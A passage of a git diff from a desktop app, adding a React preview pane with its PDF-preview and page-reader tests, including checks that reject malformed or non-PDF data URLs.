+    const readFileDataUrl = vi.fn(async () => dataUrl)
+    const { createObjectURL, revokeObjectURL } = stubPdfObjectUrls()
+    $connection.set({ mode: 'local' } as never)
+    vi.stubGlobal('window', {
+      ...window,
+      clawcodexDesktop: {
+        readFileDataUrl
+      }
+    })
+
+    let rendered!: ReturnType<typeof render>
+    await act(async () => {
+      rendered = render(
+        <PreviewPane
+          target={{
+            kind: 'file',
+            label: 'spec.pdf',
+            path: '/tmp/spec.pdf',
+            previewKind: 'pdf',
+            source: '/tmp/spec.pdf',
+            url: 'file:///tmp/spec.pdf'
+          }}
+        />
+      )
+    })
+
+    await waitFor(() => expect(rendered.container.querySelector('iframe')).not.toBeNull(), {
+      container: rendered.container
+    })
+    expect(rendered.container.querySelector('iframe')?.getAttribute('src')).toBe('blob:pdf-preview-1')
+    expect(readFileDataUrl).toHaveBeenCalledWith('/tmp/spec.pdf')
+    const blob = createObjectURL.mock.calls[0]?.[0]
+
+    expect(blob).toBeInstanceOf(Blob)
+    expect(blob?.type).toBe('application/pdf')
+    expect(await blob?.text()).toBe('%PDF-1.4')
+
+    await act(async () => {
+      rendered.rerender(
+        <PreviewPane
+          target={{
+            kind: 'file',
+            label: 'other.pdf',
+            path: '/tmp/other.pdf',
+            previewKind: 'pdf',
+            source: '/tmp/other.pdf',
+            url: 'file:///tmp/other.pdf'
+          }}
+        />
+      )
+    })
+
+    await waitFor(() => expect(createObjectURL).toHaveBeenCalledTimes(2), {
+      container: rendered.container
+    })
+    expect(revokeObjectURL).toHaveBeenCalledWith('blob:pdf-preview-1')
+    expect(rendered.container.querySelector('iframe')?.getAttribute('src')).toBe('blob:pdf-preview-2')
+
+    rendered.unmount()
+    expect(revokeObjectURL).toHaveBeenCalledWith('blob:pdf-preview-2')
+  })
+
+  it('accepts case-insensitive metadata and percent-escaped base64', async () => {
+    const readFileDataUrl = vi.fn(async () => 'data:APPLICATION/PDF;BASE64,%4AVBERi0xLjQ=')
+    const { createObjectURL } = stubPdfObjectUrls()
+    $connection.set({ mode: 'local' } as never)
+    vi.stubGlobal('window', {
+      ...window,
+      clawcodexDesktop: {
+        readFileDataUrl
+      }
+    })
+
+    let rendered!: ReturnType<typeof render>
+    await act(async () => {
+      rendered = render(
+        <PreviewPane
+          target={{
+            kind: 'file',
+            label: 'spec.pdf',
+            path: '/tmp/spec.pdf',
+            previewKind: 'pdf',
+            source: '/tmp/spec.pdf',
+            url: 'file:///tmp/spec.pdf'
+          }}
+        />
+      )
+    })
+
+    await waitFor(() => expect(createObjectURL).toHaveBeenCalledTimes(1), {
+      container: rendered.container
+    })
+    expect(rendered.container.querySelector('iframe')?.getAttribute('src')).toBe('blob:pdf-preview-1')
+  })
+
+  it.each([
+    ['a non-PDF MIME type', 'data:text/html;base64,JVBERi0xLjQ=', 'Invalid PDF data URL type'],
+    ['bytes without a PDF header', 'data:application/pdf;base64,PGh0bWw+', 'Invalid PDF file header'],
+    ['a malformed payload', 'data:application/pdf;base64,%', 'Invalid PDF data URL payload']
+  ])('rejects %s before creating an object URL', async (_case, dataUrl, expectedError) => {
+    const readFileDataUrl = vi.fn(async () => dataUrl)
+    const { createObjectURL } = stubPdfObjectUrls()
+    $connection.set({ mode: 'local' } as never)
+    vi.stubGlobal('window', {
+      ...window,
+      clawcodexDesktop: {
+        readFileDataUrl
+      }
+    })
+
+    let rendered!: ReturnType<typeof render>
+    await act(async () => {
+      rendered = render(
+        <PreviewPane
+          target={{
+            kind: 'file',
+            label: 'spec.pdf',
+            path: '/tmp/spec.pdf',
+            previewKind: 'pdf',
+            source: '/tmp/spec.pdf',
+            url: 'file:///tmp/spec.pdf'
+          }}
+        />
+      )
+    })
+
+    await waitFor(() => expect(rendered.container.textContent).toContain(expectedError), {
+      container: rendered.container
+    })
+    expect(rendered.container.querySelector('iframe')).toBeNull()
+    expect(createObjectURL).not.toHaveBeenCalled()
+  })
+
+  it('retries a restored PDF when the filesystem connection becomes remote', async () => {
+    const filePath = '/remote/spec.pdf'
+    const dataUrl = 'data:application/pdf;base64,JVBERi0xLjQ='
+    stubPdfObjectUrls()
+
+    const readFileDataUrl = vi.fn(async () => {
+      throw new Error('File preview failed: file does not exist')
+    })
+
+    const api = vi.fn(async () => dataUrl)
+    $connection.set({ mode: 'local' } as never)
+    vi.stubGlobal('window', {
+      ...window,
+      clawcodexDesktop: {
+        api,
+        readFileDataUrl
+      }
+    })
+
+    let rendered!: ReturnType<typeof render>
+    await act(async () => {
+      rendered = render(
+        <PreviewPane
+          target={{
+            kind: 'file',
+            label: 'spec.pdf',
+            path: filePath,
+            previewKind: 'pdf',
+            source: filePath,
+            url: `file://${filePath}`
+          }}
+        />
+      )
+    })
+
+    await waitFor(() => expect(readFileDataUrl).toHaveBeenCalledTimes(1), { container: rendered.container })
+
+    await act(async () => {
+      $connection.set({ baseUrl: 'http://macmini', mode: 'remote', profile: 'macmini' } as never)
+    })
+
+    await waitFor(() => expect(rendered.container.querySelector('iframe')).not.toBeNull(), {
+      container: rendered.container
+    })
+    expect(api).toHaveBeenCalledWith({
+      path: `/api/fs/read-data-url?path=${encodeURIComponent(filePath)}`,
+      profile: 'macmini'
+    })
+  })
+})
diff --git a/ui-desktop/src/app/chat/right-rail/preview-pane.tsx b/ui-desktop/src/app/chat/right-rail/preview-pane.tsx
new file mode 100644
index 000000000..a05f91c6a
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-pane.tsx
@@ -0,0 +1,725 @@
+import { useStore } from '@nanostores/react'
+import type { PointerEvent as ReactPointerEvent } from 'react'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
+import { openPreviewTargetInBrowser, remoteHtmlPreviewDocument } from '@/lib/local-preview'
+import { rafCoalesce } from '@/lib/raf-coalesce'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import { $previewServerRestart, failPreviewServerRestart, type PreviewTarget } from '@/store/preview'
+
+import { ArtifactPreview } from './preview-artifact'
+import {
+  clampConsoleHeight,
+  compactUrl,
+  formatLogLine,
+  isNearConsoleBottom,
+  PreviewConsolePanel
+} from './preview-console'
+import { type ConsoleEntry } from './preview-console-state'
+import { LocalFilePreview, PreviewEmptyState } from './preview-file'
+import { registerPreviewPageReader } from './preview-reader'
+import { previewConsoleState, registerPreviewDevTools } from './preview-strip-tools'
+
+type PreviewWebview = HTMLElement & {
+  closeDevTools?: () => void
+  executeJavaScript?: (code: string) => Promise<unknown>
+  getTitle?: () => string
+  getURL?: () => string
+  isDevToolsOpened?: () => boolean
+  openDevTools?: () => void
+  reload?: () => void
+  reloadIgnoringCache?: () => void
+}
+
+interface PreviewPaneProps {
+  embedded?: boolean
+  onRestartServer?: (url: string, context?: string) => Promise<string>
+  reloadRequest?: number
+  /** The preview tab this pane renders. Keys the per-tab console store and the
+   *  DevTools handle the STRIP glyphs read (see preview-strip-tools). */
+  tabId?: string
+  target: PreviewTarget
+}
+
+interface PreviewLoadErrorState {
+  code?: number
+  description: string
+  url: string
+}
+
+const FILE_RELOAD_DEBOUNCE_MS = 200
+const SERVER_RESTART_TIMEOUT_MS = 45_000
+
+function loadErrorTitle(error: PreviewLoadErrorState, copy: Translations['preview']['web']): string {
+  const description = error.description.toLowerCase()
+
+  if (description.includes('module script') || description.includes('mime type')) {
+    return copy.appFailedToBoot
+  }
+
+  if (description.includes('connection') || description.includes('refused') || description.includes('not found')) {
+    return copy.serverNotFound
+  }
+
+  return copy.failedToLoad
+}
+
+function isModuleMimeError(message: string): boolean {
+  const lower = message.toLowerCase()
+
+  return lower.includes('failed to load module script') && lower.includes('mime type')
+}
+
+function PreviewLoadError({
+  consoleHeight = 0,
+  error,
+  onRestartServer,
+  onRetry,
+  restarting
+}: {
+  consoleHeight?: number
+  error: PreviewLoadErrorState
+  onRestartServer?: () => void
+  onRetry: () => void
+  restarting?: boolean
+}) {
+  const { t } = useI18n()
+  const copy = t.preview.web
+
+  return (
+    <PreviewEmptyState
+      body={
+        <>
+          <a
+            className="pointer-events-auto block font-mono text-muted-foreground/90 underline decoration-current/20 underline-offset-4 transition-colors hover:text-foreground"
+            href={error.url}
+            onClick={event => {
+              event.preventDefault()
+              void window.clawcodexDesktop?.openExternal(error.url)
+            }}
+          >
+            {compactUrl(error.url)}
+            {error.code ? ` (${error.code})` : ''}
+          </a>
+          <div className="mt-1 text-[0.6875rem] text-muted-foreground/70">{error.description}</div>
+        </>
+      }
+      consoleHeight={consoleHeight}
+      primaryAction={{ label: copy.tryAgain, onClick: onRetry }}
+      secondaryAction={
+        onRestartServer
+          ? {
+              disabled: restarting,
+              label: restarting ? copy.restarting : copy.askRestart,
+              onClick: onRestartServer
+            }
+          : undefined
+      }
+      title={loadErrorTitle(error, copy)}
+    />
+  )
+}
+
+export function PreviewPane({ embedded = false, onRestartServer, reloadRequest = 0, tabId, target }: PreviewPaneProps) {
+  const { t } = useI18n()
+  const copy = t.preview.web
+  // The console store belongs to the TAB, not this render: the toggles live on
+  // the tab and must read the same logs this pane appends to.
+  const consoleState = previewConsoleState(tabId ?? target.url)
+  const consoleBodyRef = useRef<HTMLDivElement | null>(null)
+  const consoleShouldStickRef = useRef(true)
+  const hostRef = useRef<HTMLDivElement | null>(null)
+  const lastReloadRequestRef = useRef(reloadRequest)
+  const lastRestartEventRef = useRef('')
+  const previewContentRef = useRef<HTMLDivElement | null>(null)
+  const webviewRef = useRef<PreviewWebview | null>(null)
+  const previewServerRestart = useStore($previewServerRestart)
+  const consoleHeight = useStore(consoleState.$height)
+  const consoleOpen = useStore(consoleState.$open)
+  const [currentUrl, setCurrentUrl] = useState(target.url)
+  const [devtoolsOpen, setDevtoolsOpen] = useState(false)
+  const [loading, setLoading] = useState(true)
+  const [loadError, setLoadError] = useState<PreviewLoadErrorState | null>(null)
+  const [localReloadKey, setLocalReloadKey] = useState(0)
+
+  // Artifacts have no URL to load — they render from the registry, never in a
+  // webview.
+  const isWebPreview =
+    target.kind !== 'artifact' &&
+    (target.kind === 'url' || (target.previewKind === 'html' && target.renderMode !== 'source'))
+
+  const isRemoteHtmlTarget =
+    target.kind === 'file' && target.previewKind === 'html' && Boolean(target.dataUrl || target.transient)
+
+  const isRemoteHtml = isRemoteHtmlTarget && target.renderMode !== 'source' && Boolean(target.dataUrl)
+
+  const remoteHtmlDocument = useMemo(
+    () => (isRemoteHtml ? remoteHtmlPreviewDocument(target.dataUrl!) : null),
+    [isRemoteHtml, target.dataUrl]
+  )
+
+  const currentLabel = compactUrl(currentUrl)
+
+  const previewLabel =
+    target.label && target.label.replace(/\/$/, '') !== currentLabel.replace(/\/$/, '') ? target.label : currentLabel
+
+  const restartingServer =
+    previewServerRestart?.status === 'running' &&
+    (previewServerRestart.url === target.url || previewServerRestart.url === currentUrl)
+
+  const startConsoleResize = useCallback(
+    (event: ReactPointerEvent<HTMLDivElement>) => {
+      event.preventDefault()
+
+      const handle = event.currentTarget
+      const pointerId = event.pointerId
+      const startY = event.clientY
+      const startHeight = consoleHeight
+      const previousCursor = document.body.style.cursor
+      const previousUserSelect = document.body.style.userSelect
+      let active = true
+
+      handle.setPointerCapture?.(pointerId)
+
+      document.body.style.cursor = 'row-resize'
+      document.body.style.userSelect = 'none'
+
+      // pointermove outpaces 60fps and each setHeight reflows the webview +
+      // console split, so coalesce to one apply per frame (commits on cleanup).
+      const resize = rafCoalesce((height: number) => consoleState.setHeight(height))
+
+      const handleMove = (moveEvent: PointerEvent) => {
+        if (!active) {
+          return
+        }
+
+        resize.push(clampConsoleHeight(startHeight + startY - moveEvent.clientY))
+      }
+
+      const cleanup = () => {
+        if (!active) {
+          return
+        }
+
+        active = false
+        resize.finish()
+        document.body.style.cursor = previousCursor
+        document.body.style.userSelect = previousUserSelect
+        handle.releasePointerCapture?.(pointerId)
+        window.removeEventListener('pointermove', handleMove, true)
+        window.removeEventListener('pointerup', cleanup, true)
+        window.removeEventListener('pointercancel', cleanup, true)
+        window.removeEventListener('blur', cleanup)
+        handle.removeEventListener('lostpointercapture', cleanup)
+      }
+
+      window.addEventListener('pointermove', handleMove, true)
+      window.addEventListener('pointerup', cleanup, true)
+      window.addEventListener('pointercancel', cleanup, true)
+      window.addEventListener('blur', cleanup)
+      handle.addEventListener('lostpointercapture', cleanup)
+    },
+    [consoleHeight, consoleState]
+  )
+
+  const reloadPreview = useCallback(() => {
+    setLoadError(null)
+
+    if (!isWebPreview) {
+      setLocalReloadKey(key => key + 1)
+
+      return
+    }
+
+    if (webviewRef.current?.reloadIgnoringCache) {
+      webviewRef.current.reloadIgnoringCache()
+    } else {
+      webviewRef.current?.reload?.()
+    }
+  }, [isWebPreview])
+
+  const appendConsoleEntry = useCallback(
+    (entry: Omit<ConsoleEntry, 'id'>) => {
+      consoleShouldStickRef.current = isNearConsoleBottom(consoleBodyRef.current)
+      consoleState.append(entry)
+    },
+    [consoleState]
+  )
+
+  const restartServer = useCallback(async () => {
+    if (!onRestartServer) {
+      return
+    }
+
+    // Auto-open the preview console so the user can see progress events
+    // streaming back from the background agent. Without this, clicking
+    // "Ask ClawCodex to restart the server" looked like it did nothing —
+    // the work was happening, but in a collapsed pane.
+    consoleState.setOpen(true)
+
+    try {
+      const context = consoleState.$logs.get().slice(-12).map(formatLogLine).join('\n')
+      const taskId = await onRestartServer(currentUrl, context || undefined)
+
+      appendConsoleEntry({
+        level: 1,
+        message: copy.lookingRestart(taskId)
+      })
+
+      notify({
+        kind: 'info',
+        title: copy.restartingTitle,
+        message: copy.restartingMessage,
+        durationMs: 4000
+      })
+    } catch (error) {
+      appendConsoleEntry({
+        level: 2,
+        message: copy.startRestartFailed(error instanceof Error ? error.message : String(error))
+      })
+      notifyError(error, copy.restartFailed)
+    }
+  }, [appendConsoleEntry, consoleState, copy, currentUrl, onRestartServer])
+
+  const toggleDevTools = useCallback(() => {
+    const webview = webviewRef.current
+
+    if (!webview?.openDevTools) {
+      return
+    }
+
+    if (webview.isDevToolsOpened?.()) {
+      webview.closeDevTools?.()
+
+      return
+    }
+
+    webview.openDevTools()
+  }, [])
+
+  // Publish the DevTools handle for THIS tab so the tab's own toggle can drive
+  // the webview (which only exists in here). Registered on every open/close
+  // change so the button's active state stays truthful.
+  useEffect(() => {
+    if (!isWebPreview || !tabId) {
+      return
+    }
+
+    // Remote HTML renders in a sandboxed iframe, not a webview — there is no
+    // console and no DevTools to offer (same guard the titlebar tools had).
+    if (isRemoteHtml) {
+      return
+    }
+
+    registerPreviewDevTools(tabId, { open: devtoolsOpen, toggle: toggleDevTools })
+
+    return () => registerPreviewDevTools(tabId, null)
+  }, [devtoolsOpen, isRemoteHtml, isWebPreview, tabId, toggleDevTools])
+
+  // Publish the PAGE reader for this tab (the read_preview tool): extract the
+  // rendered page's title + visible text from the webview. innerText (not
+  // textContent) so hidden nodes and script/style bodies stay out, matching
+  // what the user actually sees.
+  useEffect(() => {
+    if (!isWebPreview || !tabId) {
+      return
+    }
+
+    return registerPreviewPageReader(tabId, async () => {
+      const webview = webviewRef.current
+
+      if (!webview?.executeJavaScript) {
+        throw new Error('preview webview is not ready')
+      }
+
+      const text = await webview.executeJavaScript('document.body ? document.body.innerText : ""')
+
+      return {
+        text: typeof text === 'string' ? text : '',
+        title: webview.getTitle?.() ?? '',
+        url: webview.getURL?.() ?? ''
+      }
+    })
+  }, [isWebPreview, tabId])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!consoleOpen) {
+      return
+    }
+
+    consoleShouldStickRef.current = true
+
+    const handle = window.requestAnimationFrame(() => {
+      const consoleBody = consoleBodyRef.current
+      consoleBody?.scrollTo({ top: consoleBody.scrollHeight })
+    })
+
+    return () => window.cancelAnimationFrame(handle)
+  }, [consoleOpen])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (
+      !previewServerRestart ||
+      !previewServerRestart.message ||
+      (previewServerRestart.url !== target.url && previewServerRestart.url !== currentUrl)
+    ) {
+      return
+    }
+
+    const eventKey = `${previewServerRestart.taskId}:${previewServerRestart.status}:${previewServerRestart.message || ''}`
+
+    if (eventKey === lastRestartEventRef.current) {
+      return
+    }
+
+    lastRestartEventRef.current = eventKey
+    appendConsoleEntry({
+      level: previewServerRestart.status === 'error' ? 2 : 1,
+      message:
+        previewServerRestart.status === 'running'
+          ? previewServerRestart.message
+          : previewServerRestart.status === 'complete'
+            ? copy.finishedRestarting(previewServerRestart.message)
+            : copy.failedRestarting(previewServerRestart.message || copy.unknownError)
+    })
+
+    if (previewServerRestart.status === 'complete') {
+      reloadPreview()
+      notify({
+        kind: 'success',
+        title: copy.restartedTitle,
+        message: previewServerRestart.message?.slice(0, 160) || copy.reloadingNow,
+        durationMs: 3500
+      })
+    } else if (previewServerRestart.status === 'error') {
+      notify({
+        kind: 'warning',
+        title: copy.restartFailedTitle,
+        message: previewServerRestart.message?.slice(0, 200) || copy.restartFailedMessage,
+        durationMs: 6000
+      })
+    }
+  }, [appendConsoleEntry, copy, currentUrl, previewServerRestart, reloadPreview, target.url])
+
+  useEffect(() => {
+    if (!restartingServer || !previewServerRestart) {
+      return
+    }
+
+    const taskId = previewServerRestart.taskId
+
+    const timer = window.setTimeout(() => {
+      failPreviewServerRestart(taskId, copy.stillWorking)
+    }, SERVER_RESTART_TIMEOUT_MS)
+
+    return () => window.clearTimeout(timer)
+  }, [copy.stillWorking, previewServerRestart, restartingServer])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (reloadRequest === lastReloadRequestRef.current) {
+      return
+    }
+
+    lastReloadRequestRef.current = reloadRequest
+
+    if (target.kind !== 'url') {
+      return
+    }
+
+    appendConsoleEntry({
+      level: 1,
+      message: copy.workspaceReloading
+    })
+    reloadPreview()
+  }, [appendConsoleEntry, copy.workspaceReloading, reloadPreview, reloadRequest, target.kind])
+
+  useEffect(() => {
+    if (
+      target.kind !== 'file' ||
+      isDesktopFsRemoteMode() ||
+      !window.clawcodexDesktop?.watchPreviewFile ||
+      !window.clawcodexDesktop?.onPreviewFileChanged
+    ) {
+      return
+    }
+
+    let active = true
+    let pendingReloadCount = 0
+    let pendingReloadUrl = ''
+    let reloadTimer: ReturnType<typeof setTimeout> | null = null
+    let watchId = ''
+
+    const flushReload = () => {
+      if (!active || pendingReloadCount === 0) {
+        return
+      }
+
+      const changedCount = pendingReloadCount
+      const changedUrl = pendingReloadUrl
+
+      pendingReloadCount = 0
+      pendingReloadUrl = ''
+
+      appendConsoleEntry({
+        level: 1,
+        message:
+          changedCount === 1
+            ? copy.fileChanged(compactUrl(changedUrl))
+            : copy.filesChanged(changedCount, compactUrl(changedUrl))
+      })
+
+      reloadPreview()
+    }
+
+    const unsubscribe = window.clawcodexDesktop.onPreviewFileChanged(payload => {
+      if (!active || payload.id !== watchId) {
+        return
+      }
+
+      pendingReloadCount += 1
+      pendingReloadUrl = payload.url
+
+      if (reloadTimer) {
+        clearTimeout(reloadTimer)
+      }
+
+      reloadTimer = setTimeout(() => {
+        reloadTimer = null
+        flushReload()
+      }, FILE_RELOAD_DEBOUNCE_MS)
+    })
+
+    void window.clawcodexDesktop
+      .watchPreviewFile(target.url)
+      .then(watch => {
+        if (!active) {
+          void window.clawcodexDesktop?.stopPreviewFileWatch?.(watch.id)
+
+          return
+        }
+
+        watchId = watch.id
+      })
+      .catch(error => {
+        appendConsoleEntry({
+          level: 2,
+          message: copy.watchFailed(error instanceof Error ? error.message : String(error))
+        })
+      })
+
+    return () => {
+      active = false
+      unsubscribe()
+
+      if (reloadTimer) {
+        clearTimeout(reloadTimer)
+      }
+
+      if (watchId) {
+        void window.clawcodexDesktop?.stopPreviewFileWatch?.(watchId)
+      }
+    }
+  }, [appendConsoleEntry, copy, reloadPreview, target.kind, target.url])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const host = hostRef.current
+
+    if (!host) {
+      return
+    }
+
+    host.replaceChildren()
+    webviewRef.current = null
+    setCurrentUrl(target.url)
+    setDevtoolsOpen(false)
+    setLoadError(null)
+    consoleState.reset()
+    setLoading(true)
+
+    if (!isWebPreview || isRemoteHtml) {
+      setLoading(false)
+
+      return
+    }
+
+    const webview = document.createElement('webview') as PreviewWebview
+    webview.className = 'flex h-full w-full flex-1 bg-transparent'
+    webview.setAttribute('partition', 'persist:clawcodex-preview')
+    webview.setAttribute('src', target.url)
+    webview.setAttribute('webpreferences', 'contextIsolation=yes,nodeIntegration=no,sandbox=yes')
+
+    const onConsole = (event: Event) => {
+      const detail = event as Event & {
+        level?: number
+        line?: number
+        message?: string
+        sourceId?: string
+      }
+
+      const message = detail.message || ''
+
+      appendConsoleEntry({
+        level: detail.level ?? 0,
+        line: detail.line,
+        message,
+        source: detail.sourceId
+      })
+
+      if ((detail.level ?? 0) >= 3 && isModuleMimeError(message)) {
+        setLoadError({
+          description: copy.moduleMimeDescription,
+          url: webview.getURL?.() || target.url
+        })
+        setLoading(false)
+      }
+    }
+
+    const onNavigate = (event: Event) => {
+      const detail = event as Event & { url?: string }
+
+      if (detail.url) {
+        setLoadError(null)
+        setCurrentUrl(detail.url)
+      }
+    }
+
+    const onFail = (event: Event) => {
+      const detail = event as Event & {
+        errorCode?: number
+        errorDescription?: string
+        validatedURL?: string
+      }
+
+      const errorCode = detail.errorCode
+
+      if (errorCode === -3) {
+        return
+      }
+
+      appendConsoleEntry({
+        level: 3,
+        message: copy.loadFailedConsole(errorCode, detail.errorDescription || detail.validatedURL || copy.unknownError)
+      })
+      setLoadError({
+        code: errorCode,
+        description: detail.errorDescription || copy.unreachableDescription,
+        url: detail.validatedURL || webview.getURL?.() || target.url
+      })
+      setLoading(false)
+    }
+
+    const onStart = () => setLoading(true)
+    const onStop = () => setLoading(false)
+    // The WEBVIEW is the source of truth for DevTools, not our click handler:
+    // closing the DevTools window itself fires devtools-closed with no click,
+    // and the glyph was left stuck "on" when we tracked it locally.
+    const onDevToolsOpened = () => setDevtoolsOpen(true)
+    const onDevToolsClosed = () => setDevtoolsOpen(false)
+
+    webview.addEventListener('console-message', onConsole)
+    webview.addEventListener('devtools-closed', onDevToolsClosed)
+    webview.addEventListener('devtools-opened', onDevToolsOpened)
+    webview.addEventListener('did-fail-load', onFail)
+    webview.addEventListener('did-navigate', onNavigate)
+    webview.addEventListener('did-navigate-in-page', onNavigate)
+    webview.addEventListener('did-start-loading', onStart)
+    webview.addEventListener('did-stop-loading', onStop)
+    host.appendChild(webview)
+    webviewRef.current = webview
+
+    return () => {
+      webview.removeEventListener('console-message', onConsole)
+      webview.removeEventListener('devtools-closed', onDevToolsClosed)
+      webview.removeEventListener('devtools-opened', onDevToolsOpened)
+      webview.removeEventListener('did-fail-load', onFail)
+      webview.removeEventListener('did-navigate', onNavigate)
+      webview.removeEventListener('did-navigate-in-page', onNavigate)
+      webview.removeEventListener('did-start-loading', onStart)
+      webview.removeEventListener('did-stop-loading', onStop)
+      webview.remove()
+    }
+  }, [appendConsoleEntry, consoleState, copy, isRemoteHtml, isWebPreview, target.url])
+
+  return (
+    <aside className="relative flex h-full w-full min-w-0 flex-col overflow-hidden bg-transparent text-muted-foreground">
+      <div className="flex min-h-0 flex-1 flex-col overflow-hidden">
+        {!embedded && (
+          <div className="pointer-events-none flex min-h-(--titlebar-height) items-center gap-1.5 border-b border-border/60 bg-background px-2 py-1">
+            <div className="min-w-0 flex-1">
+              <Tip label={copy.openTarget(currentUrl)}>
+                <a
+                  className="pointer-events-auto inline max-w-full truncate text-left text-xs font-medium text-foreground underline-offset-4 decoration-current/20 transition-colors hover:text-primary hover:underline"
+                  href={isRemoteHtmlTarget ? undefined : currentUrl}
+                  onClick={event => {
+                    if (isRemoteHtmlTarget) {
+                      event.preventDefault()
+                      void openPreviewTargetInBrowser(target).catch(error => notifyError(error, t.preview.unavailable))
+                    }
+                  }}
+                  rel="noreferrer"
+                  target={isRemoteHtmlTarget ? undefined : '_blank'}
+                >
+                  {previewLabel || copy.fallbackTitle}
+                </a>
+              </Tip>
+            </div>
+          </div>
+        )}
+
+        <div
+          className="pointer-events-auto relative min-h-0 flex-1 overflow-hidden bg-transparent"
+          ref={previewContentRef}
+        >
+          <div
+            className={cn(
+              'absolute inset-0 flex bg-transparent',
+              (isRemoteHtml || !isWebPreview || loadError) && 'pointer-events-none opacity-0'
+            )}
+            ref={hostRef}
+          />
+          {isRemoteHtml && (
+            <iframe
+              className="absolute inset-0 size-full border-0 bg-white"
+              referrerPolicy="no-referrer"
+              sandbox=""
+              srcDoc={remoteHtmlDocument || ''}
+              title={target.label || copy.fallbackTitle}
+            />
+          )}
+          {!isWebPreview &&
+            (target.kind === 'artifact' ? (
+              <ArtifactPreview target={target} />
+            ) : (
+              <LocalFilePreview reloadKey={localReloadKey} target={target} />
+            ))}
+          {loadError && (
+            <PreviewLoadError
+              consoleHeight={consoleOpen ? consoleHeight : 0}
+              error={loadError}
+              onRestartServer={target.kind === 'url' && onRestartServer ? () => void restartServer() : undefined}
+              onRetry={reloadPreview}
+              restarting={restartingServer}
+            />
+          )}
+
+          {isWebPreview && !isRemoteHtml && consoleOpen && (
+            <PreviewConsolePanel
+              consoleBodyRef={consoleBodyRef}
+              consoleShouldStickRef={consoleShouldStickRef}
+              consoleState={consoleState}
+              startConsoleResize={startConsoleResize}
+            />
+          )}
+        </div>
+      </div>
+    </aside>
+  )
+}
diff --git a/ui-desktop/src/app/chat/right-rail/preview-reader.test.ts b/ui-desktop/src/app/chat/right-rail/preview-reader.test.ts
new file mode 100644
index 000000000..9e9d6359e
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-reader.test.ts
@@ -0,0 +1,140 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { $rightRailActiveTabId, selectRightRailTab } from '@/store/layout'
+import { closeRightRail, openPreview, type PreviewTarget } from '@/store/preview'
+
+import { PREVIEW_READ_MAX_CHARS, readActivePreview, registerPreviewPageReader } from './preview-reader'
+
+function urlTarget(url: string): PreviewTarget {
+  return { kind: 'url', label: 'Browser', source: url, url }
+}
+
+function fileTarget(path: string): PreviewTarget {
+  return { kind: 'file', label: path, path, previewKind: 'text', source: path, url: `file://${path}` }
+}
+
+describe('readActivePreview (read_preview tool)', () => {
+  // All URL targets share the singleton Browser tab id, so a reader registered
+  // in one test would answer the next — unregister whatever a test installed.
+  let cleanups: Array<() => void> = []
+
+  const register = (tabId: string, reader: Parameters<typeof registerPreviewPageReader>[1]) => {
+    const unregister = registerPreviewPageReader(tabId, reader)
+
+    cleanups.push(unregister)
+
+    return unregister
+  }
+
+  beforeEach(() => {
+    for (const cleanup of cleanups) {
+      cleanup()
+    }
+
+    cleanups = []
+    closeRightRail()
+    window.localStorage.clear()
+  })
+
+  it('answers null when nothing is open, so the tool reports it cleanly', async () => {
+    expect(await readActivePreview()).toBeNull()
+  })
+
+  it('serializes the Browser tab through its registered page reader', async () => {
+    openPreview(urlTarget('https://news.ycombinator.com'), 'tool-result')
+    register($rightRailActiveTabId.get()!, async () => ({
+      text: 'Top stories…',
+      title: 'Hacker News',
+      url: 'https://news.ycombinator.com/news'
+    }))
+
+    expect(await readActivePreview()).toMatchObject({
+      kind: 'url',
+      text: 'Top stories…',
+      title: 'Hacker News',
+      total_chars: 12,
+      // The live address wins over the target (in-page navigation).
+      url: 'https://news.ycombinator.com/news'
+    })
+  })
+
+  it('windows long pages with start/count and reports the full length', async () => {
+    openPreview(urlTarget('https://example.com'), 'tool-result')
+    register($rightRailActiveTabId.get()!, async () => ({
+      text: 'abcdefghij',
+      title: 't',
+      url: ''
+    }))
+
+    expect(await readActivePreview({ count: 4, start: 2 })).toMatchObject({
+      end: 6,
+      start: 2,
+      text: 'cdef',
+      total_chars: 10
+    })
+  })
+
+  it('caps a single read at PREVIEW_READ_MAX_CHARS even when asked for more', async () => {
+    openPreview(urlTarget('https://example.com'), 'tool-result')
+    register($rightRailActiveTabId.get()!, async () => ({
+      text: 'x'.repeat(PREVIEW_READ_MAX_CHARS + 5000),
+      title: 't',
+      url: ''
+    }))
+
+    const result = await readActivePreview({ count: PREVIEW_READ_MAX_CHARS + 5000 })
+
+    expect(result?.text).toHaveLength(PREVIEW_READ_MAX_CHARS)
+    expect(result?.total_chars).toBe(PREVIEW_READ_MAX_CHARS + 5000)
+  })
+
+  it('answers identity + retry note for a Browser tab whose pane is not mounted', async () => {
+    openPreview(urlTarget('https://example.com'), 'tool-result')
+
+    expect(await readActivePreview()).toMatchObject({
+      kind: 'url',
+      note: expect.stringContaining('retry') as string,
+      text: '',
+      url: 'https://example.com'
+    })
+  })
+
+  it('answers a file tab with its identity and points at read_file', async () => {
+    openPreview(fileTarget('/work/notes.md'), 'file-browser')
+
+    expect(await readActivePreview()).toMatchObject({
+      kind: 'file',
+      note: expect.stringContaining('read_file') as string,
+      path: '/work/notes.md'
+    })
+  })
+
+  it('reads the tab the user is LOOKING at, not the last one opened', async () => {
+    openPreview(fileTarget('/work/one.md'), 'file-browser')
+    openPreview(fileTarget('/work/two.md'), 'file-browser')
+    selectRightRailTab('file:file:///work/one.md')
+
+    expect(await readActivePreview()).toMatchObject({ path: '/work/one.md' })
+  })
+
+  it('falls back to the identity answer when the reader throws (webview booting)', async () => {
+    openPreview(urlTarget('https://example.com'), 'tool-result')
+    register($rightRailActiveTabId.get()!, async () => {
+      throw new Error('webview gone')
+    })
+
